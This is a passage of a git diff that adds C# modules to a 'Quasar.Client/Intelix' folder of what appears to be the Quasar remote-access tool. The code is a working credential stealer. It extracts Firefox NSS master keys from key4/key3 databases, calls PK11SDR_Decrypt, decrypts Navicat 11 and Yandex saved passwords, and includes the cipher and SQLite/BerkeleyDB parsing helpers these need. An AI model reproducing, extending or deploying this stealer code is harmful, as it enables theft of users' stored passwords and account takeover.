== 0) + { + return null; + } + SECItem data = new SECItem + { + Data = Marshal.AllocHGlobal(array.Length), + Len = array.Length, + Type = 0 + }; + Marshal.Copy(array, 0, data.Data, array.Length); + SECItem result = default(SECItem); + int num = PK11SDR_Decrypt(ref data, ref result, 0); + Marshal.FreeHGlobal(data.Data); + if (num != 0 || result.Data == IntPtr.Zero) + { + return null; + } + byte[] array2 = new byte[result.Len]; + Marshal.Copy(result.Data, array2, 0, result.Len); + return Encoding.UTF8.GetString(array2); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs new file mode 100755 index 0000000..4e116c3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs @@ -0,0 +1,64 @@ +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Navicat11Cipher +{ + private Blowfish blowfishCipher; + + protected byte[] StringToByteArray(string hex) + { + return (from x in Enumerable.Range(0, hex.Length) + where x % 2 == 0 + select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray(); + } + + protected void XorBytes(byte[] a, byte[] b, int len) + { + for (int i = 0; i < len; i++) + { + a[i] ^= b[i]; + } + } + + public Navicat11Cipher() + { + byte[] array = new byte[8] { 51, 68, 67, 53, 67, 65, 51, 57 }; + using SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + sHA1CryptoServiceProvider.TransformFinalBlock(array, 0, array.Length); + blowfishCipher = new Blowfish(sHA1CryptoServiceProvider.Hash); + } + + public string DecryptString(string ciphertext) + { + byte[] array = StringToByteArray(ciphertext); + byte[] array2 = Enumerable.Repeat(byte.MaxValue, blowfishCipher.BlockSize).ToArray(); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + byte[] array3 = new byte[0]; + int num = array.Length / blowfishCipher.BlockSize; + int num2 = array.Length % blowfishCipher.BlockSize; + byte[] array4 = new byte[blowfishCipher.BlockSize]; + byte[] array5 = new byte[blowfishCipher.BlockSize]; + for (int i = 0; i < num; i++) + { + Array.Copy(array, blowfishCipher.BlockSize * i, array4, 0, blowfishCipher.BlockSize); + Array.Copy(array4, array5, blowfishCipher.BlockSize); + blowfishCipher.Decrypt(array4, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4).ToArray(); + XorBytes(array2, array5, blowfishCipher.BlockSize); + } + if (num2 != 0) + { + Array.Clear(array4, 0, array4.Length); + Array.Copy(array, blowfishCipher.BlockSize * num, array4, 0, num2); + blowfishCipher.Encrypt(array2, Blowfish.Endian.Big); + XorBytes(array4, array2, blowfishCipher.BlockSize); + array3 = array3.Concat(array4.Take(num2).ToArray()).ToArray(); + } + return Encoding.UTF8.GetString(array3); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs new file mode 100755 index 0000000..d80f866 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Text; +using Intelix.Helper.Hashing; +using Intelix.Helper.Sql; + +namespace Intelix.Helper.Encrypted; + +public static class NssDumpMasterKey +{ + public static byte[] Key4Database(string path) + { + Asn1Der asn1Der = new Asn1Der(); + SqLite sqLite = SqLite.ReadTable(path, "metaData"); + if (sqLite == null) + { + return null; + } + for (int i = 0; i < sqLite.GetRowCount(); i++) + { + if (sqLite.GetValue(i, 0) != "password") + { + continue; + } + byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1)); + byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2)); + if (bytes.Length < 1 || bytes2.Length < 1) + { + continue; + } + Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2); + string text = asn1DerObject.ToString(); + if (text == null) + { + continue; + } + if (text.Contains("2A864886F70D010C050103")) + { + byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data; + if (array == null || array2 == null) + { + continue; + } + byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check")) + { + continue; + } + } + else + { + if (!text.Contains("2A864886F70D01050D")) + { + continue; + } + byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data; + byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data; + byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data; + if (array3 == null || array4 == null || array5 == null) + { + continue; + } + byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute(); + if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check")) + { + continue; + } + } + sqLite = SqLite.ReadTable(path, "nssPrivate"); + if (sqLite != null) + { + int num = 0; + if (num < sqLite.GetRowCount()) + { + byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6)); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5); + byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute(); + byte[] array6 = new byte[24]; + Array.Copy(sourceArray, array6, array6.Length); + return array6; + } + } + } + return null; + } + + public static byte[] Key3Database(string path) + { + byte[] array = File.ReadAllBytes(path); + if (array == null) + { + return null; + } + Asn1Der asn1Der = new Asn1Der(); + BerkeleyDB berkeleyDB = new BerkeleyDB(array); + string text = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("password-check"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text == null) + { + return null; + } + text = text.Replace("-", null); + int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2; + string hexString = text.Substring(6, num); + int num2 = text.Length - (6 + num + 36); + string hexString2 = text.Substring(6 + num + 4 + num2); + string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Key.Equals("global-salt"); + }).Select(delegate(KeyValuePair p) + { + KeyValuePair keyValuePair = p; + return keyValuePair.Value; + }).FirstOrDefault(); + if (text2 == null) + { + return null; + } + text2 = text2.Replace("-", null); + TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString)); + tripleDes.ComputeVoid(); + if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check")) + { + return null; + } + string text3 = (from p in berkeleyDB.Keys + where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check") + select p.Value).FirstOrDefault(); + if (text3 == null) + { + return null; + } + text3 = text3.Replace("-", ""); + Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3)); + TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data); + tripleDes2.ComputeVoid(); + byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data); + byte[] array2 = new byte[24]; + if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24) + { + Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24); + } + else + { + array2 = asn1DerObject3.Objects[0].Objects[3].Data; + } + return array2; + } + + public static byte[] HexToBytes(string hexString) + { + if (hexString.Length % 2 != 0) + { + return null; + } + byte[] array = new byte[hexString.Length / 2]; + for (int i = 0; i < array.Length; i++) + { + string s = hexString.Substring(i * 2, 2); + array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs new file mode 100755 index 0000000..b88afc1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs @@ -0,0 +1,50 @@ +namespace Intelix.Helper.Encrypted; + +public class RC4Crypt +{ + public static byte[] Decrypt(byte[] key, byte[] data) + { + if (key == null) + { + return null; + } + if (key.Length == 0) + { + return null; + } + if (data == null) + { + return null; + } + byte[] array = new byte[256]; + for (int i = 0; i < 256; i++) + { + array[i] = (byte)i; + } + int num = 0; + for (int j = 0; j < 256; j++) + { + num = (num + array[j] + key[j % key.Length]) & 0xFF; + Swap(array, j, num); + } + byte[] array2 = new byte[data.Length]; + int num2 = 0; + num = 0; + for (int k = 0; k < data.Length; k++) + { + num2 = (num2 + 1) & 0xFF; + num = (num + array[num2]) & 0xFF; + Swap(array, num2, num); + byte b = array[(array[num2] + array[num]) & 0xFF]; + array2[k] = (byte)(data[k] ^ b); + } + return array2; + } + + private static void Swap(byte[] arr, int a, int b) + { + byte b2 = arr[a]; + arr[a] = arr[b]; + arr[b] = b2; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs new file mode 100755 index 0000000..0874b30 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs @@ -0,0 +1,163 @@ +using System; +using System.IO; +using System.Security.Cryptography; + +namespace Intelix.Helper.Encrypted; + +internal class TripleDes +{ + private byte[] CipherText { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPassword { get; } + + private byte[] EntrySalt { get; } + + public byte[] Key { get; private set; } + + public byte[] Vector { get; private set; } + + public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt) + { + CipherText = cipherText; + GlobalSalt = globalSalt; + MasterPassword = masterPass; + EntrySalt = entrySalt; + } + + public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt) + { + GlobalSalt = globalSalt; + MasterPassword = masterPassword; + EntrySalt = entrySalt; + } + + public void ComputeVoid() + { + SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Array.Copy(array2, 0, array3, 0, array2.Length); + Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length); + byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Array.Copy(array7, 0, array8, 0, array7.Length); + Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length); + byte[] array2 = new SHA1Managed().ComputeHash(array); + byte[] array3 = new byte[array2.Length + EntrySalt.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length); + byte[] key = new SHA1Managed().ComputeHash(array3); + byte[] array4 = new byte[20]; + Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length); + for (int i = EntrySalt.Length; i < 20; i++) + { + array4[i] = 0; + } + byte[] array5 = new byte[array4.Length + EntrySalt.Length]; + Array.Copy(array4, 0, array5, 0, array4.Length); + Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length); + byte[] array6; + byte[] array9; + using (HMACSHA1 hMACSHA = new HMACSHA1(key)) + { + array6 = hMACSHA.ComputeHash(array5); + byte[] array7 = hMACSHA.ComputeHash(array4); + byte[] array8 = new byte[array7.Length + EntrySalt.Length]; + Buffer.BlockCopy(array7, 0, array8, 0, array7.Length); + Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length); + array9 = hMACSHA.ComputeHash(array8); + } + byte[] array10 = new byte[array6.Length + array9.Length]; + Array.Copy(array6, 0, array10, 0, array6.Length); + Array.Copy(array9, 0, array10, array6.Length, array9.Length); + Key = new byte[24]; + for (int j = 0; j < Key.Length; j++) + { + Key[j] = array10[j]; + } + Vector = new byte[8]; + int num = Vector.Length - 1; + for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--) + { + Vector[num] = array10[num2]; + num--; + } + byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText); + byte[] array11 = new byte[24]; + Array.Copy(sourceArray, array11, array11.Length); + return array11; + } + + public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input) + { + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read); + using StreamReader streamReader = new StreamReader(stream2); + return streamReader.ReadToEnd(); + } + + public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input) + { + byte[] array = new byte[512]; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.IV = iv; + tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; + tripleDESCryptoServiceProvider.Padding = PaddingMode.None; + ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV); + using MemoryStream stream = new MemoryStream(input); + using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read); + cryptoStream.Read(array, 0, array.Length); + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs new file mode 100755 index 0000000..4fae9bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs @@ -0,0 +1,16 @@ +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class Xor +{ + public static string DecryptString(string input, byte key) + { + byte[] bytes = Encoding.UTF8.GetBytes(input); + for (int i = 0; i < bytes.Length; i++) + { + bytes[i] ^= key; + } + return Encoding.UTF8.GetString(bytes); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs new file mode 100755 index 0000000..e7d2806 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs @@ -0,0 +1,45 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class YaAuthenticatedData +{ + public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm) + { + byte[] aad = new byte[0]; + using (SHA1 sHA = SHA1.Create()) + { + byte[] bytes = Encoding.UTF8.GetBytes(url); + byte[] bytes2 = Encoding.UTF8.GetBytes(username_element); + byte[] bytes3 = Encoding.UTF8.GetBytes(username_value); + byte[] bytes4 = Encoding.UTF8.GetBytes(password_element); + byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm); + byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length]; + int num = 0; + Array.Copy(bytes, 0, array, num, bytes.Length); + num += bytes.Length; + array[num++] = 0; + Array.Copy(bytes2, 0, array, num, bytes2.Length); + num += bytes2.Length; + array[num++] = 0; + Array.Copy(bytes3, 0, array, num, bytes3.Length); + num += bytes3.Length; + array[num++] = 0; + Array.Copy(bytes4, 0, array, num, bytes4.Length); + num += bytes4.Length; + array[num++] = 0; + Array.Copy(bytes5, 0, array, num, bytes5.Length); + aad = sHA.ComputeHash(array); + } + byte[] array2 = new byte[12]; + Array.Copy(password_value, 0, array2, 0, 12); + int num2 = password_value.Length - 12 - 16; + byte[] array3 = new byte[num2]; + Array.Copy(password_value, 12, array3, 0, num2); + byte[] array4 = new byte[16]; + Array.Copy(password_value, password_value.Length - 16, array4, 0, 16); + return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs new file mode 100755 index 0000000..be3558a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs @@ -0,0 +1,46 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBE +{ + private byte[] Ciphertext { get; } + + private byte[] GlobalSalt { get; } + + private byte[] MasterPass { get; } + + private byte[] EntrySalt { get; } + + private byte[] PartIv { get; } + + public PBE(byte[] ciphertext, byte[] globalSalt, byte[] masterPassword, byte[] entrySalt, byte[] partIv) + { + Ciphertext = ciphertext; + GlobalSalt = globalSalt; + MasterPass = masterPassword; + EntrySalt = entrySalt; + PartIv = partIv; + } + + public byte[] Compute() + { + byte[] array = new byte[GlobalSalt.Length + MasterPass.Length]; + Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length); + Buffer.BlockCopy(MasterPass, 0, array, GlobalSalt.Length, MasterPass.Length); + byte[] password = new SHA1Managed().ComputeHash(array); + byte[] array2 = new byte[2] { 4, 14 }; + byte[] array3 = new byte[array2.Length + PartIv.Length]; + Buffer.BlockCopy(array2, 0, array3, 0, array2.Length); + Buffer.BlockCopy(PartIv, 0, array3, array2.Length, PartIv.Length); + byte[] bytes = new PBKDF2(new HMACSHA256(), password, EntrySalt, 1).GetBytes(32); + return new AesManaged + { + Mode = CipherMode.CBC, + BlockSize = 128, + KeySize = 256, + Padding = PaddingMode.Zeros + }.CreateDecryptor(bytes, array3).TransformFinalBlock(Ciphertext, 0, Ciphertext.Length); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs new file mode 100755 index 0000000..1e51db1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs @@ -0,0 +1,106 @@ +using System; +using System.Security.Cryptography; + +namespace Intelix.Helper.Hashing; + +public class PBKDF2 +{ + private readonly int _blockSize; + + private uint _blockIndex = 1u; + + private byte[] _bufferBytes; + + private int _bufferStartIndex; + + private int _bufferEndIndex; + + private HMAC Algorithm { get; } + + private byte[] Salt { get; } + + private int IterationCount { get; } + + public PBKDF2(HMAC algorithm, byte[] password, byte[] salt, int iterations) + { + Algorithm = algorithm ?? throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); + Algorithm.Key = password ?? throw new ArgumentNullException("password", "Password cannot be null."); + Salt = salt ?? throw new ArgumentNullException("salt", "Salt cannot be null."); + IterationCount = iterations; + _blockSize = Algorithm.HashSize / 8; + _bufferBytes = new byte[_blockSize]; + } + + public byte[] GetBytes(int count) + { + byte[] array = new byte[count]; + int i = 0; + int num = _bufferEndIndex - _bufferStartIndex; + if (num > 0) + { + if (count < num) + { + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, count); + _bufferStartIndex += count; + return array; + } + Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, num); + _bufferStartIndex = (_bufferEndIndex = 0); + i += num; + } + for (; i < count; i += _blockSize) + { + int num2 = count - i; + _bufferBytes = Func(); + if (num2 > _blockSize) + { + Buffer.BlockCopy(_bufferBytes, 0, array, i, _blockSize); + continue; + } + Buffer.BlockCopy(_bufferBytes, 0, array, i, num2); + _bufferStartIndex = num2; + _bufferEndIndex = _blockSize; + return array; + } + return array; + } + + private byte[] Func() + { + byte[] array = new byte[Salt.Length + 4]; + Buffer.BlockCopy(Salt, 0, array, 0, Salt.Length); + Buffer.BlockCopy(GetBytesFromInt(_blockIndex), 0, array, Salt.Length, 4); + byte[] array2 = Algorithm.ComputeHash(array); + byte[] array3 = array2; + for (int i = 2; i <= IterationCount; i++) + { + array2 = Algorithm.ComputeHash(array2, 0, array2.Length); + for (int j = 0; j < _blockSize; j++) + { + array3[j] ^= array2[j]; + } + } + if (_blockIndex == uint.MaxValue) + { + throw new InvalidOperationException("Derived key too long."); + } + _blockIndex++; + return array3; + } + + private static byte[] GetBytesFromInt(uint i) + { + byte[] bytes = BitConverter.GetBytes(i); + if (!BitConverter.IsLittleEndian) + { + return bytes; + } + return new byte[4] + { + bytes[3], + bytes[2], + bytes[1], + bytes[0] + }; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs new file mode 100755 index 0000000..5081b5b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class BerkeleyDB +{ + public List> Keys { get; } + + public BerkeleyDB(byte[] file) + { + List list = new List(); + Keys = new List>(); + using (MemoryStream input = new MemoryStream(file)) + { + using BinaryReader binaryReader = new BinaryReader(input); + int i = 0; + for (int num = (int)binaryReader.BaseStream.Length; i < num; i++) + { + list.Add(binaryReader.ReadByte()); + } + } + string text = BitConverter.ToString(Extract(list.ToArray(), 0, 4, littleEndian: false)).Replace("-", ""); + int num2 = BitConverter.ToInt32(Extract(list.ToArray(), 12, 4, littleEndian: true), 0); + if (!text.Equals("00061561")) + { + return; + } + int num3 = int.Parse(BitConverter.ToString(Extract(list.ToArray(), 56, 4, littleEndian: false)).Replace("-", "")); + int num4 = 1; + while (Keys.Count < num3) + { + string[] array = new string[(num3 - Keys.Count) * 2]; + for (int j = 0; j < (num3 - Keys.Count) * 2; j++) + { + array[j] = BitConverter.ToString(Extract(list.ToArray(), num2 * num4 + 2 + j * 2, 2, littleEndian: true)).Replace("-", ""); + } + Array.Sort(array); + for (int k = 0; k < array.Length; k += 2) + { + int num5 = Convert.ToInt32(array[k], 16) + num2 * num4; + int num6 = Convert.ToInt32(array[k + 1], 16) + num2 * num4; + int num7 = ((k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4)); + string text2 = Encoding.ASCII.GetString(Extract(list.ToArray(), num6, num7 - num6, littleEndian: false)); + string value = BitConverter.ToString(Extract(list.ToArray(), num5, num6 - num5, littleEndian: false)); + if (!string.IsNullOrWhiteSpace(text2)) + { + Keys.Add(new KeyValuePair(text2, value)); + } + } + num4++; + } + } + + private static byte[] Extract(byte[] source, int start, int length, bool littleEndian) + { + byte[] array = new byte[length]; + int num = 0; + for (int i = start; i < start + length; i++) + { + array[num] = source[i]; + num++; + } + if (littleEndian) + { + Array.Reverse(array); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs new file mode 100755 index 0000000..5bd037f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs @@ -0,0 +1,457 @@ +using System; +using System.IO; +using System.Text; + +namespace Intelix.Helper.Sql; + +public class SqLite +{ + private struct RecordHeaderField + { + public long Size; + + public long Type; + } + + private struct TableEntry + { + public string[] Content; + } + + private struct SqliteMasterEntry + { + public string ItemName; + + public long RootNum; + + public string SqlStatement; + } + + private readonly ulong _dbEncoding; + + private readonly byte[] _fileBytes; + + private readonly ulong _pageSize; + + private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + + private string[] _fieldNames; + + private SqliteMasterEntry[] _masterTableEntries; + + private TableEntry[] _tableEntries; + + public SqLite(string fileName) + { + _fileBytes = File.ReadAllBytes(fileName); + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public SqLite(byte[] basedata) + { + _fileBytes = basedata; + _pageSize = ConvertToULong(16, 2); + _dbEncoding = ConvertToULong(56, 4); + ReadMasterTable(100L); + } + + public string GetValue(int rowNum, int field) + { + try + { + if (rowNum >= _tableEntries.Length) + { + return null; + } + return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field]; + } + catch + { + return ""; + } + } + + public int GetRowCount() + { + return _tableEntries.Length; + } + + private bool ReadTableFromOffset(ulong offset) + { + try + { + switch (_fileBytes[offset]) + { + case 13: + { + uint num4 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + int num5 = 0; + if (_tableEntries != null) + { + num5 = _tableEntries.Length; + Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num4 + 1); + } + else + { + _tableEntries = new TableEntry[num4 + 1]; + } + for (uint num6 = 0u; (int)num6 <= (int)num4; num6++) + { + ulong num7 = ConvertToULong((int)offset + 8 + (int)(num6 * 2), 2); + if (offset != 100) + { + num7 += offset; + } + int num8 = Gvl((int)num7); + Cvl((int)num7, num8); + int num9 = Gvl((int)((long)num7 + ((long)num8 - (long)num7) + 1)); + Cvl((int)((long)num7 + ((long)num8 - (long)num7) + 1), num9); + ulong num10 = num7 + (ulong)((long)num9 - (long)num7 + 1); + int num11 = Gvl((int)num10); + int num12 = num11; + long num13 = Cvl((int)num10, num11); + RecordHeaderField[] array = null; + long num14 = (long)num10 - (long)num11 + 1; + int num15 = 0; + while (num14 < num13) + { + Array.Resize(ref array, num15 + 1); + int num16 = num12 + 1; + num12 = Gvl(num16); + array[num15].Type = Cvl(num16, num12); + array[num15].Size = ((array[num15].Type <= 9) ? _sqlDataTypeSize[array[num15].Type] : ((!IsOdd(array[num15].Type)) ? ((array[num15].Type - 12) / 2) : ((array[num15].Type - 13) / 2))); + num14 = num14 + (num12 - num16) + 1; + num15++; + } + if (array == null) + { + continue; + } + _tableEntries[num5 + (int)num6].Content = new string[array.Length]; + int num17 = 0; + for (int i = 0; i <= array.Length - 1; i++) + { + if (array[i].Type > 9) + { + if (!IsOdd(array[i].Type)) + { + long dbEncoding = (long)_dbEncoding; + long num18 = dbEncoding - 1; + if ((ulong)num18 <= 2uL) + { + switch (num18) + { + case 0L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 